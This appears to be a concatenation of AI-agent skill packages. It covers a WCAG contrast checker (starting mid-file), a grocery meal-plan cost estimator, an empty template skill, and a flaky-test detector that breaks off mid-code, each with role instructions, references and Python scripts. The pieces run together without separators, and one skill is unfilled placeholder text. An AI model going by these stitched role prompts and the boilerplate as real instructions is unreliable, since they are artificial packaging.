Large text is at least **18 CSS pt** (typically 24px) regular, or **14 CSS pt** (typically 18.66px) bold.
## Relative luminance
For sRGB channel C_srgb in 0..1:
- if C_srgb <= 0.04045: C = C_srgb / 12.92
- else: C = ((C_srgb + 0.055) / 1.055) ^ 2.4
L = 0.2126 R + 0.7152 G + 0.0722 B
Contrast ratio = (L_lighter + 0.05) / (L_darker + 0.05)
## Notes
- Placeholder / disabled text is exempt from text contrast SCs but still benefits from clarity.
- Focus indicators need 3:1 against adjacent colors (2.4.11 / 2.4.13 depending on level).
FILE:references/color-blindness-notes.md
# Color blindness notes for palettes
Contrast ratio alone is not enough when meaning is carried only by hue.
## Common pitfalls
- **Red vs green status** without icon or label: deuteranomaly/protanomaly users may not tell them apart.
- **Chart series** distinguished only by color: add patterns, shapes, or direct labels.
- **Link color** same lightness as body text: underline or weight must remain when color is removed.
- **Error borders** that are only a pale red tint: ensure 3:1 against the background and include text/icon.
## Safer patterns
1. Pair color with text ("Error", "Success") or icon.
2. Use lightness differences, not only hue shifts.
3. Test a grayscale screenshot of the UI.
4. Avoid conveying required-field state with red alone.
## Deuteranopia-friendly tip
Prefer blue/orange or blue/brown pairs over red/green for categorical data when you must use two hues.
FILE:templates/audit-table.md
# Contrast audit
- **Product / screen**:
- **Date**:
- **Standard**: WCAG 2.2 AA (default) / AAA where noted
| Token / use | FG | BG | Ratio | AA normal | AAA normal | AA large | Notes / fix |
| --- | --- | --- | --- | --- | --- | --- | --- |
| body text | `#1a1a1a` | `#ffffff` | 16.1 | pass | pass | pass | |
| muted caption | `#9ca3af` | `#ffffff` | 2.5 | fail | fail | fail | Darken to ~`#6b7280` |
## Decisions
- [ ] Update tokens
- [ ] Accept large-text-only usage
- [ ] Add non-color cue
FILE:examples/palette.json
{
"pairs": [
{"name": "body_on_white", "fg": "#1a1a1a", "bg": "#ffffff"},
{"name": "muted_on_white", "fg": "#9ca3af", "bg": "#ffffff"},
{"name": "link_on_white", "fg": "#2563eb", "bg": "#ffffff"},
{"name": "button_label", "fg": "#ffffff", "bg": "#2563eb"},
{"name": "error_on_white", "fg": "#dc2626", "bg": "#ffffff"},
{"name": "white_on_light_gray", "fg": "#ffffff", "bg": "#e5e7eb"}
]
}
FILE:scripts/contrast_check.py
#!/usr/bin/env python3
"""WCAG contrast ratio checker for hex fg/bg pairs.
Usage:
python3 contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 contrast_check.py --palette palette.json
python3 contrast_check.py --self-test
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import math
import sys
from typing import Dict, List, Tuple
def parse_hex(color: str) -> Tuple[float, float, float]:
c = color.strip().lstrip("#")
if len(c) == 3:
c = "".join(ch * 2 for ch in c)
if len(c) == 8:
c = c[:6] # ignore alpha
if len(c) != 6:
raise ValueError(f"Bad hex color: {color!r}")
r = int(c[0:2], 16) / 255.0
g = int(c[2:4], 16) / 255.0
b = int(c[4:6], 16) / 255.0
return r, g, b
def channel(c: float) -> float:
if c <= 0.04045:
return c / 12.92
return ((c + 0.055) / 1.055) ** 2.4
def relative_luminance(rgb: Tuple[float, float, float]) -> float:
r, g, b = rgb
return 0.2126 * channel(r) + 0.7152 * channel(g) + 0.0722 * channel(b)
def contrast_ratio(fg: str, bg: str) -> float:
l1 = relative_luminance(parse_hex(fg))
l2 = relative_luminance(parse_hex(bg))
lighter, darker = max(l1, l2), min(l1, l2)
return (lighter + 0.05) / (darker + 0.05)
def evaluate(ratio: float) -> Dict[str, bool]:
return {
"aa_normal": ratio >= 4.5,
"aaa_normal": ratio >= 7.0,
"aa_large": ratio >= 3.0,
"aaa_large": ratio >= 4.5,
"ui_3_1": ratio >= 3.0,
}
def format_row(name: str, fg: str, bg: str) -> str:
ratio = contrast_ratio(fg, bg)
ev = evaluate(ratio)
flags = " ".join(
f"{k}={'PASS' if v else 'FAIL'}"
for k, v in ev.items()
if k in ("aa_normal", "aaa_normal", "aa_large")
)
return f"{name}: {fg} on {bg} -> {ratio:.2f}:1 {flags}"
def self_test() -> int:
cases = [
("black_white", contrast_ratio("#000000", "#ffffff"), 21.0),
("white_black", contrast_ratio("#ffffff", "#000000"), 21.0),
("body", contrast_ratio("#1a1a1a", "#ffffff") > 12.0, True),
("muted_fail_aa", evaluate(contrast_ratio("#9ca3af", "#ffffff"))["aa_normal"], False),
("link_aa", evaluate(contrast_ratio("#2563eb", "#ffffff"))["aa_normal"], True),
("same_color", abs(contrast_ratio("#ffffff", "#ffffff") - 1.0) < 1e-9, True),
("short_hex", abs(contrast_ratio("#000", "#fff") - 21.0) < 1e-9, True),
("parse3", parse_hex("#abc") == parse_hex("#aabbcc"), True),
("ui_pass", evaluate(3.0)["ui_3_1"], True),
("aaa_border", evaluate(7.0)["aaa_normal"], True),
("just_under_aa", evaluate(4.49)["aa_normal"], False),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 0.05
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Check WCAG contrast for fg/bg hex pairs.")
p.add_argument("--fg")
p.add_argument("--bg")
p.add_argument("--palette", help="JSON file with {pairs:[{name,fg,bg}]}")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
if a.palette:
data = json.load(open(a.palette, encoding="utf-8"))
for pair in data.get("pairs", []):
rows.append(pair)
elif a.fg and a.bg:
rows.append({"name": "pair", "fg": a.fg, "bg": a.bg})
else:
p.error("provide --fg and --bg, or --palette, or --self-test")
out = []
any_fail = False
for row in rows:
ratio = contrast_ratio(row["fg"], row["bg"])
ev = evaluate(ratio)
if not ev["aa_normal"]:
any_fail = True
item = {"name": row.get("name", "pair"), "fg": row["fg"], "bg": row["bg"], "ratio": round(ratio, 2), **ev}
out.append(item)
if not a.json:
print(format_row(item["name"], item["fg"], item["bg"]))
if a.json:
print(json.dumps(out, indent=2))
return 1 if any_fail else 0
if __name__ == "__main__":
sys.exit(main())估算杂货膳食计划成本。
---
name: grocery-meal-plan-cost-estimator
description: 估算杂货膳食计划成本。
---
# 杂货膳食计划成本估算器
你是「杂货膳食计划成本估算器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Grocery Meal Plan Cost Estimator
You help households plan a week of meals, scale portions to headcount, build a grocery list grouped by store section, and estimate cost from unit prices. You are practical about leftovers and pantry staples. You do not give medical diet therapy; you note allergies and preferences the user states.
## Files in this skill
- `scripts/estimate_cost.py` - sums a grocery list with unit prices and prints section totals (Python 3 standard library only)
- `references/portion-guide.md` - rough per-person amounts for common foods
- `references/store-section-map.md` - where items usually live in a supermarket
- `templates/meal-plan.md` - weekly plan + list structure
- `examples/sample-week.md` - worked example for 2 adults
## Workflow
### 1. Collect constraints
Ask for: headcount and ages, nights cooking at home, budget and currency, diet rules (veg, halal, allergies), appliances/time, and pantry items already owned.
### 2. Draft the week
Propose breakfast / lunch / dinner / snacks with leftover reuse. Keep variety without requiring 21 unique recipes.
### 3. Explode to groceries
Using `references/portion-guide.md`, convert meals to ingredients and quantities. Deduplicate (one bottle of oil, not seven).
### 4. Map to store sections
Group with `references/store-section-map.md` so the list is walkable.
### 5. Estimate cost
```
python3 scripts/estimate_cost.py --list groceries.json
python3 scripts/estimate_cost.py --self-test
```
If the user has no prices, use clearly labeled default unit prices and say they are placeholders.
### 6. Answer
Return: meal plan table, grocery list by section with qty, estimated total, cost per person-day, and 2 to 3 swap ideas if over budget.
## Rules
- Never invent that something is "healthy" as medical advice; stick to preferences and macros only if asked.
- Prefer grams and milliliters plus a household measure.
- Flag perishable items that should be bought mid-week.
FILE:references/portion-guide.md
# Rough per-person cooked portions (adjust for appetite)
| Food | Per adult | Per child (5–10) |
| --- | --- | --- |
| Cooked rice / grains | 150–180 g | 80–100 g |
| Dry pasta | 80–100 g | 50–70 g |
| Protein (raw meat/fish) | 120–150 g | 70–90 g |
| Beans/lentils (dry) | 50–70 g | 30–40 g |
| Vegetables (raw weight) | 150–200 g | 80–120 g |
| Fruit | 1 piece or 120 g | 1 small piece |
| Milk / alt milk | 200–250 ml | 150 ml |
| Bread | 2 slices | 1 slice |
| Oil for cooking | ~10 ml per saute | shared |
| Eggs | 2 | 1 |
## Scaling tips
- Soups/stews: scale liquid 90% when going from 2 to 4 (pot efficiency).
- Spices: do not scale linearly past 4 portions; taste and adjust.
- Leftovers lunch: cook +40% dinner on two weeknights instead of separate recipes.
FILE:references/store-section-map.md
# Typical supermarket section map
Use these buckets on the grocery list (adapt names to local stores):
1. **Produce** — fruit, vegetables, herbs, salad
2. **Bakery** — bread, tortillas, buns
3. **Meat & seafood** — fresh/cooled protein
4. **Dairy & eggs** — milk, yogurt, cheese, butter, eggs
5. **Deli / prepared** — if used
6. **Pantry dry** — rice, pasta, beans, flour, sugar, cereal
7. **Cans & jars** — tomatoes, tuna, sauces
8. **Oils & spices** — cooking oil, salt, spices, vinegar
9. **Frozen** — vegetables, frozen protein, ice cream
10. **Beverages** — coffee, tea, juice, sparkling water
11. **Household** — if buying soap/bags on the same trip
Walk order suggestion: produce → bakery → meat → dairy → center aisles → frozen → beverages.
FILE:templates/meal-plan.md
# Weekly meal plan
- **People**:
- **Budget / currency**:
- **Diet notes**:
## Meals
| Day | Breakfast | Lunch | Dinner | Notes |
| --- | --- | --- | --- | --- |
| Mon | | | | |
| Tue | | | | |
| Wed | | | | |
| Thu | | | | |
| Fri | | | | |
| Sat | | | | |
| Sun | | | | |
## Grocery list by section
### Produce
- [ ] item — qty — est. price
### Dairy & eggs
- [ ]
## Cost summary
- Estimated total:
- Per person-day:
- Mid-week top-up:
FILE:examples/sample-week.md
# Sample week — 2 adults, flexible omnivore, EUR
Budget target: €70
## Meals (short)
| Day | Dinner highlight | Lunch plan |
| --- | --- | --- |
| Mon | Chickpea curry + rice | Leftover curry |
| Tue | Pasta aglio e olio + salad | Egg sandwiches |
| Wed | Sheet-pan chicken + veg | Leftover chicken bowls |
| Thu | Lentil soup + bread | Soup + fruit |
| Fri | Fish tacos (frozen fish) | Rice fried with leftover veg |
| Sat | Veggie omelette feast | Eating out / skip |
| Sun | Batch chili for Mon lunch | Chili |
## Grocery excerpt (for estimate_cost.py)
See accompanying JSON shape:
```json
{
"currency": "EUR",
"items": [
{"name": "rice 1kg", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "chickpeas canned x4", "section": "Cans & jars", "qty": 4, "unit_price": 0.9},
{"name": "pasta 500g", "section": "Pantry dry", "qty": 2, "unit_price": 1.1},
{"name": "chicken thighs 1kg", "section": "Meat & seafood", "qty": 1, "unit_price": 6.5},
{"name": "mixed veg 1kg", "section": "Produce", "qty": 1, "unit_price": 3.0},
{"name": "eggs 12", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk 1L", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
{"name": "frozen white fish 500g", "section": "Frozen", "qty": 1, "unit_price": 4.5}
]
}
```
FILE:scripts/estimate_cost.py
#!/usr/bin/env python3
"""Estimate grocery cost from a JSON list.
Usage:
python3 estimate_cost.py --list groceries.json
python3 estimate_cost.py --self-test
JSON shape:
{
"currency": "EUR",
"items": [{"name": "...", "section": "...", "qty": 1, "unit_price": 2.5}]
}
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import sys
from collections import defaultdict
from typing import Any, Dict, List
def load_list(path: str) -> dict:
return json.load(open(path, encoding="utf-8"))
def estimate(data: dict) -> dict:
currency = data.get("currency") or "USD"
items = data.get("items") or []
by_section: Dict[str, float] = defaultdict(float)
lines = []
total = 0.0
for it in items:
name = it["name"]
section = it.get("section") or "Other"
qty = float(it.get("qty", 1))
price = float(it["unit_price"])
line_total = qty * price
total += line_total
by_section[section] += line_total
lines.append({
"name": name,
"section": section,
"qty": qty,
"unit_price": price,
"line_total": round(line_total, 2),
})
return {
"currency": currency,
"total": round(total, 2),
"by_section": {k: round(v, 2) for k, v in sorted(by_section.items())},
"lines": lines,
"item_count": len(lines),
}
def format_report(result: dict) -> str:
cur = result["currency"]
lines = [f"Estimated total: {result['total']:.2f} {cur} ({result['item_count']} lines)"]
lines.append("By section:")
for sec, amt in result["by_section"].items():
lines.append(f" - {sec}: {amt:.2f} {cur}")
return "\n".join(lines)
def self_test() -> int:
sample = {
"currency": "EUR",
"items": [
{"name": "rice", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "eggs", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
],
}
r = estimate(sample)
cases = [
("total", r["total"], 7.6),
("dairy_section", r["by_section"]["Dairy & eggs"], 5.4),
("pantry", r["by_section"]["Pantry dry"], 2.2),
("count", r["item_count"], 3),
("currency", r["currency"], "EUR"),
("empty", estimate({"items": []})["total"], 0.0),
("qty_scale", estimate({"items": [{"name": "x", "section": "A", "qty": 3, "unit_price": 1.5}]})["total"], 4.5),
("default_section", estimate({"items": [{"name": "y", "qty": 1, "unit_price": 2}]})["by_section"]["Other"], 2.0),
("round", estimate({"items": [{"name": "z", "section": "A", "qty": 1, "unit_price": 1.005}]})["total"], 1.0),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 1e-9
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Estimate grocery list cost.")
p.add_argument("--list", help="Path to groceries JSON")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.list:
p.error("--list is required (or use --self-test)")
result = estimate(load_list(a.list))
if a.json:
print(json.dumps(result, indent=2))
else:
print(format_report(result))
return 0
if __name__ == "__main__":
sys.exit(main())翻译词典技能。
--- name: translation-dictionary description: 翻译词典技能。 --- # 翻译词典 你是「翻译词典」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本、公式、JSON 键与代码）；执行时遵循中文说明与原文技术细节。 # My Skill Describe what this skill does and how the agent should use it. ## Instructions - Step 1: ... - Step 2: ...
从重复 CI 运行中找出 flaky 测试：解析 JUnit XML 或 CSV 历史，标记时过时不过的用例。
---
name: flaky-test-detector
description: 从重复 CI 运行中找出 flaky 测试：解析 JUnit XML 或 CSV 历史，标记时过时不过的用例。
---
# 不稳定测试检测器
你是「不稳定测试检测器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Flaky Test Detector
You help engineering teams separate genuinely broken tests from flaky ones. You read results from several CI runs, find tests whose outcome changes without a code change, rank them by how much pain they cause, and propose a concrete fix or quarantine plan for each. You never "fix" flakiness by just adding retries, and you never call a test flaky without evidence from at least two runs that disagree.
## Files in this skill
- `scripts/flaky_tests.py` - parses JUnit XML files (one per run) or a CSV history and prints a ranked flakiness table or JSON (Python 3 standard library only)
- `references/flakiness-causes.md` - common root causes with symptoms and fixes
- `references/junit-and-history-formats.md` - how to export JUnit XML and CSV history from popular runners and CI systems
- `templates/flaky-report.md` - report for a PR comment, issue, or weekly CI health review
- `examples/test-history.csv` - sample run history with a same-commit flake
## Workflow
### 1. Collect evidence
Ask for, or help produce:
- JUnit XML from at least 3 runs of the same suite (CI artifacts, or a local loop such as running the suite 10 times)
- Or a CSV with `run_id,test,status` and, ideally, `commit` and `duration_s`
- Context: runner (pytest, Jest, JUnit, Go test, RSpec), parallelism, retries already enabled, shared services (DB, browser, network)
If only one run is available, explain that flakiness cannot be proven and suggest a rerun loop on an unchanged commit.
### 2. Run the detector
```
python3 scripts/flaky_tests.py run1.xml run2.xml run3.xml
python3 scripts/flaky_tests.py --csv examples/test-history.csv --only-flaky
python3 scripts/flaky_tests.py --csv history.csv --json
python3 scripts/flaky_tests.py --self-test
```
Exit code 1 means at least one flaky test was found (handy as a CI health gate); 2 means bad input.
### 3. Classify
- **flaky_confirmed**: passed and failed on the same commit. Strongest evidence; fix first.
- **flaky**: mixed results across runs, commit unknown or different. Check whether the code changed between runs.
- **always_failing**: a real failure, not flakiness. Route to the owner as a bug.
- **stable** / **insufficient_data**: no action, or collect more runs.
Use `flip_rate` (how often the result changes between consecutive runs) and `fail_rate` together. A high `duration_spread` hints at timeouts, network calls, or resource contention.
### 4. Diagnose
For each flaky test, read the test code and failure messages, then match symptoms against `references/flakiness-causes.md`: timing and sleeps, test order dependence, shared state, time zones and clocks, randomness without seeds, network, concurrency, resource limits.
### 5. Recommend
For each test give: likely cause, evidence, a specific fix (for example "replace sleep(2) with waiting for the order status event"), an owner, and whether to quarantine temporarily. Fill `templates/flaky-report.md`.
## Rules
- Retries are a temporary bandage with an expiry date, never the fix.
- Quarantined tests need an owner and a ticket; list them in the report.
- Do not delete a flaky test without the owner's agreement.
- Keep statistics honest: say how many runs the conclusion is based on.
- Never paste secrets or full logs with tokens into reports; trim to the relevant assertion.
FILE:references/flakiness-causes.md
# Common causes of flaky tests
| Cause | Typical symptoms | Fix |
|---|---|---|
| Fixed sleeps and timing | Fails more on busy CI agents; duration spread is high | Wait for a condition or event with a timeout instead of `sleep` |
| Test order dependence | Passes alone, fails in the full suite or with random order | Reset shared state in setup/teardown; run with random order to reproduce |
| Shared mutable state | Globals, singletons, caches, env vars leak between tests | Isolate fixtures; restore env; avoid module-level state |
| Shared external resources | Same DB rows, ports, temp files, or queues used by parallel workers | Unique names per worker; transactions rolled back per test; random free ports |
| Clock and time zone | Fails near midnight, month end, DST changes, or on agents in other zones | Freeze or inject the clock; use UTC; avoid "now" in assertions |
| Unseeded randomness | Rare failures with odd data | Seed generators and print the seed on failure |
| Network and third-party calls | Timeouts, 429s, DNS errors | Mock or record responses; keep real calls in a separate, non-blocking suite |
| Concurrency and async | Race conditions, unawaited promises, threads not joined | Await everything; use proper synchronization; add deterministic hooks |
| Resource limits | OOM, file handle exhaustion, slow containers | Lower parallelism; clean up resources; raise limits deliberately |
| UI and browser tests | Element not found, animation timing, viewport differences | Use stable selectors and auto-waiting locators; disable animations in test mode |
| Floating point and ordering | Assertion on unordered collections or exact floats | Compare sorted values; use tolerance |
## Triage questions
1. Does it fail on the same commit when rerun? (flaky_confirmed)
2. Does it fail alone, or only with other tests?
3. Does failure correlate with a specific agent, time of day, or parallel worker?
4. Is the failure message always the same?
5. Did retries hide it before? Check retry logs.
FILE:references/junit-and-history-formats.md
# Getting JUnit XML and run history
## JUnit XML per run
- pytest: `pytest --junitxml=reports/run-$N.xml`
- Jest: `jest-junit` reporter (`JEST_JUNIT_OUTPUT_FILE=reports/run-$N.xml`)
- Go: `go test -v ./... 2>&1 | go-junit-report > reports/run-$N.xml`
- JUnit / Maven Surefire: `target/surefire-reports/*.xml` (merge per run)
- RSpec: `rspec_junit_formatter`
- Playwright: `--reporter=junit`
Rerun loop on an unchanged commit:
```
for N in $(seq 1 10); do pytest --junitxml=reports/run-$N.xml || true; done
python3 scripts/flaky_tests.py reports/run-*.xml
```
Pass files in run order (glob order is fine if names sort correctly, e.g. run-01..run-10).
## How the script reads JUnit
- Test id = `classname::name`
- `<failure>` or `<error>` child = fail; `<skipped>` = skip; otherwise pass
- `time` attribute = duration in seconds
## CSV history
Columns: `run_id,test,status` plus optional `commit,duration_s`. Accepted statuses: pass/passed/ok/success, fail/failed/failure/error/broken, skip/skipped/ignored/pending. Rows must be in run order.
Export ideas: CI test analytics APIs, a small job that appends one row per test per run to a CSV artifact, or a query against your test results database.
FILE:templates/flaky-report.md
# Flaky Test Report
**Suite:** <name> **Runs analyzed:** <n> (<date range or commits>) **Runner:** <pytest / Jest / ...>
## Summary
- flaky_confirmed: <n> flaky: <n> always_failing: <n> stable: <n> insufficient_data: <n>
- Retries currently enabled: <yes/no, count>
## Fix first
| Test | Class | Fail rate | Flip rate | Likely cause | Evidence | Proposed fix | Owner | Quarantine? |
|---|---|---|---|---|---|---|---|---|
| | | | | | | | | |
## Real failures (not flaky)
| Test | Failing since | Message (trimmed) | Owner |
|---|---|---|---|
## Quarantine list
| Test | Ticket | Owner | Expiry date |
|---|---|---|---|
## Next steps
1.
2.
FILE:examples/test-history.csv
run_id,test,status,commit,duration_s
1,checkout::test_apply_coupon,pass,a1b2c3,0.42
1,checkout::test_payment_timeout,pass,a1b2c3,1.10
1,search::test_autocomplete,pass,a1b2c3,0.31
1,profile::test_avatar_upload,failed,a1b2c3,2.05
2,checkout::test_apply_coupon,pass,a1b2c3,0.40
2,checkout::test_payment_timeout,failed,a1b2c3,5.02
2,search::test_autocomplete,pass,a1b2c3,0.29
2,profile::test_avatar_upload,failed,a1b2c3,2.10
3,checkout::test_apply_coupon,pass,d4e5f6,0.44
3,checkout::test_payment_timeout,pass,d4e5f6,1.07
3,search::test_autocomplete,skipped,d4e5f6,
3,profile::test_avatar_upload,failed,d4e5f6,2.01
4,checkout::test_apply_coupon,pass,d4e5f6,0.41
4,checkout::test_payment_timeout,failed,d4e5f6,5.01
4,search::test_autocomplete,pass,d4e5f6,0.30
4,profile::test_avatar_upload,failed,d4e5f6,2.07
FILE:scripts/flaky_tests.py
#!/usr/bin/env python3
"""Detect flaky tests from repeated CI runs (Python 3 standard library only).
Inputs (any mix):
* JUnit XML files, one per run, in run order: flaky_tests.py run1.xml run2.xml run3.xml
* A CSV history file with columns run_id,test,status[,commit][,duration_s]: flaky_tests.py --csv history.csv
Statuses: pass, fail (failure or error), skip. Skips are ignored for flakiness math.
Classifications per test:
flaky_confirmed - passed AND failed on the same commit
flaky - passed AND failed across runs (commit unknown or different)
always_failing - failed in every non-skipped run (>= --min-runs)
stable - passed in every non-skipped run (>= --min-runs)
insufficient_data - fewer than --min-runs non-skipped results
Exit code: 1 if any flaky/flaky_confirmed test is found, else 0 (2 on input errors).
"""
import argparse
import csv
import json
import sys
import xml.etree.ElementTree as ET
from collections import OrderedDict
STATUS_ALIASES = {
"pass": "pass", "passed": "pass", "ok": "pass", "success": "pass",
"fail": "fail", "failed": "fail", "failure": "fail", "error": "fail", "broken": "fail",
"skip": "skip", "skipped": "skip", "ignored": "skip", "pending": "skip",
}
def norm_status(raw):
s = STATUS_ALIASES.get(str(raw).strip().lower())
if s is None:
raise ValueError(f"unknown status: {raw!r}")
return s
def parse_junit_text(text, run_id):
"""Return list of (run_id, test_id, status, commit, duration) from JUnit XML text."""
root = ET.fromstring(text)
rows = []
for case in root.iter("testcase"):
cls = case.get("classname") or ""
name = case.get("name") or "?"
test_id = f"{cls}::{name}" if cls else name
if case.find("failure") is not None or case.find("error") is not None:
status = "fail"
elif case.find("skipped") is not None:
status = "skip"
else:
status = "pass"
try:
dur = float(case.get("time", "") or 0.0)
except ValueError:
dur = 0.0
rows.append((run_id, test_id, status, None, dur))
return rows
def parse_csv_text(text):
rows = []
reader = csv.DictReader(text.splitlines())
need = {"run_id", "test", "status"}
if not reader.fieldnames or not need.issubset({f.strip() for f in reader.fieldnames}):
raise ValueError("CSV needs columns run_id,test,status (optional commit,duration_s)")
for r in reader:
r = {k.strip(): (v or "").strip() for k, v in r.items() if k}
dur = float(r["duration_s"]) if r.get("duration_s") else 0.0
rows.append((r["run_id"], r["test"], norm_status(r["status"]), r.get("commit") or None, dur))
return rows
def analyze(rows, min_runs=3):
"""rows in run order. Returns OrderedDict test_id -> stats dict."""
tests = OrderedDict()
for run_id, test_id, status, commit, dur in rows:
t = tests.setdefault(test_id, {"results": [], "durations": []})
t["results"].append((run_id, status, commit))
if status != "skip" and dur:
t["durations"].append(dur)
out = OrderedDict()
for test_id, t in tests.items():
seq = [s for _, s, _ in t["results"] if s != "skip"]
passes = seq.count("pass")
fails = seq.count("fail")
skips = sum(1 for _, s, _ in t["results"] if s == "skip")
flips = sum(1 for a, b in zip(seq, seq[1:]) if a != b)
by_commit = {}
for _, s, c in t["results"]:
if c and s != "skip":
by_commit.setdefault(c, set()).add(s)
mixed_commits = sorted(c for c, ss in by_commit.items() if ss == {"pass", "fail"})
n = len(seq)
if passes and fails:
cls = "flaky_confirmed" if mixed_commits else "flaky"
elif n < min_runs:
cls = "insufficient_data"
elif fails == n:
cls = "always_failing"
else:
cls = "stable"
durs = t["durations"]
out[test_id] = {
"runs": n,
"passes": passes,
"fails": fails,
"skips": skips,
"fail_rate": round(fails / n, 3) if n else 0.0,
"flips": flips,
"flip_rate": round(flips / (n - 1), 3) if n > 1 else 0.0,
"mixed_commits": mixed_commits,
"max_duration_s": round(max(durs), 3) if durs else None,
"duration_spread": round(max(durs) / min(durs), 2) if durs and min(durs) > 0 else None,
"classification": cls,
}
return out
def priority(stats):
"""Higher = fix first. Confirmed flakiness and high flip rates rank highest."""
base = {"flaky_confirmed": 3.0, "flaky": 2.0, "always_failing": 1.0}.get(stats["classification"], 0.0)
return round(base + stats["flip_rate"] + stats["fail_rate"], 3)
def render_table(results):
lines = ["| Test | Class | Runs | Fails | Fail rate | Flip rate | Same-commit mix | Priority |",
"|---|---|---|---|---|---|---|---|"]
ranked = sorted(results.items(), key=lambda kv: (-priority(kv[1]), kv[0]))
for tid, s in ranked:
lines.append(f"| {tid} | {s['classification']} | {s['runs']} | {s['fails']} | "
f"{s['fail_rate']:.0%} | {s['flip_rate']:.0%} | {', '.join(s['mixed_commits']) or '-'} | {priority(s)} |")
return "\n".join(lines)
def summary(results):
counts = {}
for s in results.values():
counts[s["classification"]] = counts.get(s["classification"], 0) + 1
return counts
JUNIT_RUN = """<testsuites><testsuite name="api">
<testcase classname="api.test_orders" name="test_create" time="0.12"/>
<testcase classname="api.test_orders" name="test_refund" time="{refund_time}">{refund}</testcase>
<testcase classname="api.test_auth" name="test_expired_token" time="0.05">{auth}</testcase>
<testcase classname="api.test_search" name="test_reindex" time="1.0"><skipped/></testcase>
</testsuite></testsuites>"""
def _run(refund_fail, auth_fail, refund_time="0.30"):
return JUNIT_RUN.format(
refund='<failure message="timeout"/>' if refund_fail else "",
auth='<error message="boom"/>' if auth_fail else "",
refund_time=refund_time)
def self_test():
rows = []
pattern = [(False, True), (True, True), (False, True), (True, True), (False, True)]
for i, (rf, af) in enumerate(pattern, 1):
rows += parse_junit_text(_run(rf, af, "0.30" if not rf else "3.10"), f"run{i}")
res = analyze(rows, min_runs=3)
csv_text = ("run_id,test,status,commit,duration_s\n"
"1,ui::login,pass,abc,1.0\n2,ui::login,failed,abc,1.2\n3,ui::login,pass,def,0.9\n"
"1,ui::cart,pass,abc,\n2,ui::cart,pass,abc,\n"
"1,ui::banner,skipped,abc,\n2,ui::banner,ok,abc,\n3,ui::banner,ok,def,\n4,ui::banner,ok,def,\n")
res_csv = analyze(parse_csv_text(csv_text), min_runs=3)
bad_status = False
try:
norm_status("weird")
except ValueError:
bad_status = True
bad_csv = False
try:
parse_csv_text("a,b\n1,2\n")
except ValueError:
bad_csv = True
cases = [
("junit_case_count", len(res), 4),
("create_stable", res["api.test_orders::test_create"]["classification"], "stable"),
("refund_flaky", res["api.test_orders::test_refund"]["classification"], "flaky"),
("refund_flips", res["api.test_orders::test_refund"]["flips"], 4),
("refund_flip_rate", res["api.test_orders::test_refund"]["flip_rate"], 1.0),
("refund_fail_rate", res["api.test_orders::test_refund"]["fail_rate"], 0.4),
("refund_duration_spread", res["api.test_orders::test_refund"]["duration_spread"], 10.33),
("error_counts_as_fail", res["api.test_auth::test_expired_token"]["classification"], "always_failing"),
("skip_only_insufficient", res["api.test_search::test_reindex"]["classification"], "insufficient_data"),
("skip_counted", res["api.test_search::test_reindex"]["skips"], 5),
("csv_same_commit_confirmed", res_csv["ui::login"]["classification"], "flaky_confirmed"),
("csv_mixed_commit_listed", res_csv["ui::login"]["mixed_commits"], ["abc"]),
("csv_two_runs_insufficient", res_csv["ui::cart"]["classification"], "insufficient_data"),
("csv_skip_ignored_stable", res_csv["ui::banner"]["classification"], "stable"),
("priority_order", priority(res_csv["ui::login"]) > priority(res["api.test_orders::test_refund"]), True),
("unknown_status_rejected", bad_status, True),
("bad_csv_rejected", bad_csv, True),
("summary_counts", summary(res), {"stable": 1, "flaky": 1, "always_failing": 1, "insufficient_data": 1}),
]
failed = 0
for name, got, expected in cases:
ok = abs(got - expected) < 0.01 if isinstance(expected, float) else got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"\n{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None):
p = argparse.ArgumentParser(description="Detect flaky tests from repeated JUnit XML runs or a CSV history.")
p.add_argument("junit", nargs="*", help="JUnit XML files in run order")
p.add_argument("--csv", help="CSV history: run_id,test,status[,commit][,duration_s]")
p.add_argument("--min-runs", type=int, default=3)
p.add_argument("--json", action="store_true", help="print JSON instead of a markdown table")
p.add_argument("--only-flaky", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
try:
for i, path in enumerate(a.junit, 1):
with open(path, encoding="utf-8") as fh:
rows += parse_junit_text(fh.read(), f"run{i}:{path}")
if a.csv:
with open(a.csv, encoding="utf-8") as fh:
rows += parse_csv_text(fh.read())
except (OSError, ValueError, ET.ParseError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if not rows:
p.error("give JUnit XML files, --csv, or --self-test")
res = analyze(rows, a.min_runs)
if a.only_flaky:
res = OrderedDict((k, v) for k, v in res.items() if v["classification"].startswith("flaky"))
if a.json:
